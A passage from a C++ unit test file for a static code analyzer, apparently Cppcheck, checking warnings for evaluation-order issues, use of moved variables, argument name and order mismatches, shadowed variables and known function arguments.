tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n void checkCustomSettings_(const char* file, int line, const char code[], Settings *s) {\n checkCustomSettings_(file, line, code, true, true, true, false, s);\n }\n\n void testEvaluationOrder() {\n check(\"void f() {\\n\"\n \" int x = dostuff();\\n\"\n \" return x + x++;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n // #7226\n check(\"long int f1(const char *exp) {\\n\"\n \" return strtol(++exp, (char **)&exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:23]: (error) Expression '++exp,exp' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" while (a=x(), a==123) {}\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 8717\n check(\"void f(int argc, char *const argv[]) {\\n\"\n \" char **local_argv = safe_malloc(sizeof (*local_argv));\\n\"\n \" int local_argc = 0;\\n\"\n \" local_argv[local_argc++] = argv[0];\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" return 0 + x++;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" int a[10];\\n\"\n \" a[x+y] = a[y+x]++;;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:3:10]: (error) Expression 'a[x+y]=a[y+x]++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = ++i + i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (error) Expression '++i+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, ++exp, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\"\n \"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = (~(-(++i)) + i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Expression '~(-(++i))+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n /*const*/ Settings settings11 = settingsBuilder(_settings).cpp(Standards::CPP11).build();\n\n checkCustomSettings(\"void f(int i) {\\n\"\n \" i = i++ + 2;\\n\"\n \"}\", &settings11);\n ASSERT_EQUALS(\"[test.cpp:2:11]: (error) Expression 'i+++2' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSelfAssignment() {\n // self assignment\n check(\"void f() {\\n\"\n \" int x = x = y + 1;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", // duplicate\n errout_str());\n }\n\n void testEvaluationOrderMacro() {\n // macro, don't bailout (#7233)\n checkP(\"#define X x\\n\"\n \"void f(int x) {\\n\"\n \" return x + X++;\\n\"\n \"}\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsFunctionCall() {\n // FP\n check(\"void f(int id) {\\n\"\n \" id = dostuff(id += 42);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // FN\n check(\"void f(int id) {\\n\"\n \" id = id + dostuff(id += 42);\\n\"\n \"}\", false);\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsComma() {\n check(\"int f(void) {\\n\"\n \" int t;\\n\"\n \" return (unsigned char)(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:14]: (error) Expression 't=1,t^c' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff((t=1,t),2);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8230\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (i++, ++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (f(++fp, (*fp) <= 7));\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:18]: (error) Expression '++fp,(*fp)<=7' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSizeof() {\n check(\"void f(char *buf) {\\n\"\n \" dostuff(buf++, sizeof(*buf));\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testUnsignedLessThanZero() {\n check(\"struct d {\\n\"\n \" unsigned n;\\n\"\n \"};\\n\"\n \"void f(void) {\\n\"\n \" struct d d;\\n\"\n \" d.n = 3;\\n\"\n \"\\n\"\n \" if (d.n < 0) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (0 > d.n) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:8:11]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\"\n \"[test.c:12:9]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\",\n errout_str());\n }\n\n void doubleMove1() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization1() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b))\\n\"\n \" {\\n\"\n \" b2 = std::move(b);\\n\"\n \" }\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:24]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization2() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b)),\\n\"\n \" b2(std::move(b))\\n\"\n \" {}\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization3() { // #9974\n check(\"struct A { int i; };\\n\"\n \"struct B { A a1; A a2; };\\n\"\n \"B f() {\\n\"\n \" A a1 = { 1 };\\n\"\n \" A a2 = { 2 };\\n\"\n \" return { .a1 = std::move(a1), .a2 = std::move(a2) };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void doubleMoveMemberInitialization4() { // #11440\n check(\"struct S { void f(int); };\\n\"\n \"struct T {\\n\"\n \" T(int c, S&& d) : c{ c }, d{ std::move(d) } { d.f(c); }\\n\"\n \" int c;\\n\"\n \" S d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:51]: (warning, inconclusive) Access of moved variable 'd'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAssign1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a = g(std::move(a));\\n\"\n \" a = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndAssign2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" B b = g(std::move(a));\\n\"\n \" C c = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAssignMoveAssign() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReset1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndReset2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" A c;\\n\"\n \" b.reset(g(std::move(a)));\\n\"\n \" c.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:25]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveResetMoveReset() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameter() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterReference() {\n check(\"void g(A & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndFunctionParameterConstReference() {\n check(\"void g(A const & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterUnknown() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:5:11]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReturn() {\n check(\"int f(int i) {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" g(std::move(a));\\n\"\n \" if (i)\\n\"\n \" return g(std::move(b));\\n\"\n \" return h(std::move(a),std::move(b));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:24]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndClear() {\n check(\"void f() {\\n\"\n \" V v;\\n\"\n \" g(std::move(v));\\n\"\n \" v.clear();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movedPointer() {\n check(\"void f() {\\n\"\n \" P p;\\n\"\n \" g(std::move(p));\\n\"\n \" x = p->x;\\n\"\n \" y = p->y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\"\n \"[test.cpp:5:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAddressOf() {\n check(\"void f() {\\n\"\n \" std::string s1 = x;\\n\"\n \" std::string s2 = std::move(s1);\\n\"\n \" p = &s1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void partiallyMoved() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" gx(std::move(a).x());\\n\"\n \" gy(std::move(a).y());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndLambda() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" auto h = [a=std::move(a)](){return g(std::move(a));};\"\n \" b = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveInLoop()\n {\n check(\"void g(std::string&& s);\\n\"\n \"void f() {\\n\"\n \" std::string p;\\n\"\n \" while(true)\\n\"\n \" g(std::move(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n\n check(\"std::list g(std::list&&);\\n\"\n \"void f(std::listl) {\\n\"\n \" for(int i = 0; i < 10; ++i) {\\n\"\n \" for (auto &j : g(std::move(l))) { (void)j; }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Variable 'j' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:4:36]: (warning) Access of moved variable 'l'. [accessMoved]\\n\",\n errout_str());\n }\n\n void moveCallback()\n {\n check(\"bool f(std::function&& callback);\\n\"\n \"void func(std::function callback) {\\n\"\n \" if(!f(std::move(callback)))\\n\"\n \" callback();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'callback'. [accessMoved]\\n\", errout_str());\n }\n\n void moveClassVariable()\n {\n check(\"struct B {\\n\"\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override {\\n\"\n \" auto p = std::unique_ptr(new D(std::move(m)));\\n\"\n \" }\\n\"\n \" D(std::unique_ptr c) : m(std::move(c)) {}\\n\"\n \" std::unique_ptr m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void forwardAndUsed() {\n check(\"template\\n\"\n \"void f(T && t) {\\n\"\n \" g(std::forward(t));\\n\"\n \" T s = t;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (warning) Access of forwarded variable 't'. [accessForwarded]\\n\", errout_str());\n }\n\n void moveAndReference() { // #9791\n check(\"void g(std::string&&);\\n\"\n \"void h(const std::string&);\\n\"\n \"void f() {\\n\"\n \" std::string s;\\n\"\n \" const std::string& r = s;\\n\"\n \" g(std::move(s));\\n\"\n \" h(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (warning) Access of moved variable 'r'. [accessMoved]\\n\", errout_str());\n }\n\n void moveForRange()\n {\n check(\"struct C {\\n\"\n \" void f() {\\n\"\n \" for (auto r : mCategory.find(std::move(mWhere))) {}\\n\"\n \" }\\n\"\n \" cif::category mCategory;\\n\"\n \" cif::condition mWhere;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveTernary()\n {\n check(\"void gA(std::string);\\n\" // #12174\n \"void gB(std::string);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" b ? gA(std::move(s)) : gB(std::move(s));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(std::string);\\n\"\n \"int gB(std::string);\\n\"\n \"void h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? gA(std::move(s)) : gB(std::move(s)));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(int, std::string);\\n\"\n \"int gB(int, std::string);\\n\"\n \"int h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? h(gA(5, std::move(s))) : h(gB(7, std::move(s))));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movePointerAlias()\n {\n check(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" std::string s1 = std::move(s);\\n\"\n \" const std::string* s_p = &s;\\n\"\n \" s_p->size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Access of moved variable '.'. [accessMoved]\\n\", errout_str());\n }\n\n void funcArgNamesDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int A, int B, int C) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int a = 0, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int A, int B, int C) { }\\n\"\n \"void Fred::func3(int a, int b, int c) { }\\n\"\n \"void Fred::func4(int A, int B, int C) { }\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:23] -> [test.cpp:4:23]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:30] -> [test.cpp:4:30]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:20] -> [test.cpp:12:22]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:27] -> [test.cpp:12:29]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:34] -> [test.cpp:12:36]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (style, inconclusive) Function 'func4' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:31] -> [test.cpp:14:29]: (style, inconclusive) Function 'func4' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:42] -> [test.cpp:14:36]: (style, inconclusive) Function 'func4' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\", errout_str());\n }\n\n void funcArgOrderDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int c, int b, int a) { }\\n\"\n \"void func3(int, int b, int c);\\n\"\n \"void func3(int c, int b, int a) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int c, int b, int a) { }\\n\"\n \"void Fred::func3(int c, int b, int a) { }\\n\"\n \"void Fred::func4(int c, int b, int a) { }\\n\",\n true, false);\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:5:12] -> [test.cpp:6:16]: (warning) Function 'func3' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:10:20] -> [test.cpp:15:22]: (warning) Function 'func3' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:11:16] -> [test.cpp:16:22]: (warning) Function 'func4' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\", errout_str());\n }\n\n // #7846 - Syntax error when using C++11 braced-initializer in default argument\n void cpp11FunctionArgInit() {\n // syntax error is not expected\n ASSERT_NO_THROW(check(\"\\n void foo(int declaration = {}) {\"\n \"\\n for (int i = 0; i < 10; i++) {}\\n\"\n \"\\n }\"\n \"\\n \"));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void shadowVariables() {\n check(\"int x;\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int x();\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" C(int x) : x(x) {}\\n\" // <- we do not want a FP here\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (cond) {int x;}\\n\" // <- not a shadow variable\n \" int x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int size() {\\n\"\n \" int size;\\n\" // <- not a shadow variable\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #8954 - lambda\n \" int x;\\n\"\n \" auto f = [](){ int x; }\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:1:21]: (style) Local variable 'x' shadows outer argument [shadowArgument]\\n\", errout_str());\n\n check(\"class C { C(); void foo() { static int C = 0; } }\"); // #9195 - shadow constructor\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10091 - shadow destructor\n \" ~C();\\n\"\n \" void f() {\\n\"\n \" bool C{};\\n\"\n \" }\\n\"\n \"};\\n\"\n \"C::~C() = default;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 10752 - no\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"\\n\"\n \" static int foo() {\\n\"\n \" int i = 0;\\n\"\n \" return i;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" void f() { int i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:20]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" std::vector v;\\n\"\n \" void f() const { for (const int& i : v) {} }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:38]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #10405\n \" F* f{};\\n\"\n \" std::list fl;\\n\"\n \" void S::f() const;\\n\"\n \"};\\n\"\n \"void S::f() const {\\n\"\n \" for (const F& f : fl) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:7:19]: (style) Local variable 'f' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"extern int a;\\n\"\n \"int a;\\n\"\n \"static int f(void) {\\n\"\n \" int a;\\n\"\n \" return 0;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:1:12] -> [test.c:4:9]: (style) Local variable 'a' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #12591\n \" int g = 0;\\n\"\n \" return g;\\n\"\n \"}\\n\"\n \"int g() { return 1; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #13888\n \" int i;\\n\"\n \" friend int f() { int i = 5; return i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgument() {\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (style) Argument '(int)((x&0x01)>>7)' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int, int);\\n\"\n \"void f(int x) {\\n\"\n \" g(x, (x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:20]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\",\n errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void h() { return 1; }\\n\"\n \"void f(int x) {\\n\"\n \" g(h());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(std::strlen(\\\"a\\\"));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(Foo *);\\n\"\n \"void f() {\\n\"\n \" g(reinterpret_cast(0));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" x = 0;\\n\"\n \" g(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" const int x = 0;\\n\"\n \" g(x + 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" char i = 1;\\n\"\n \" g(static_cast(i));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char *yytext;\\n\"\n \"void re_init_scanner() {\\n\"\n \" int size = 256;\\n\"\n \" yytext = xmalloc(size * sizeof *yytext);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const char *c) {\\n\"\n \" if (*c == '+' && (operand || !isalnum(*c))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8986\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" const int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Variable 'x' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"struct A { int x; };\"\n \"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" A y;\\n\"\n \" y.x = 1;\\n\"\n \" g(y.x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // allow known argument value in assert call\n check(\"void g(int);\\n\"\n \"void f(int x) 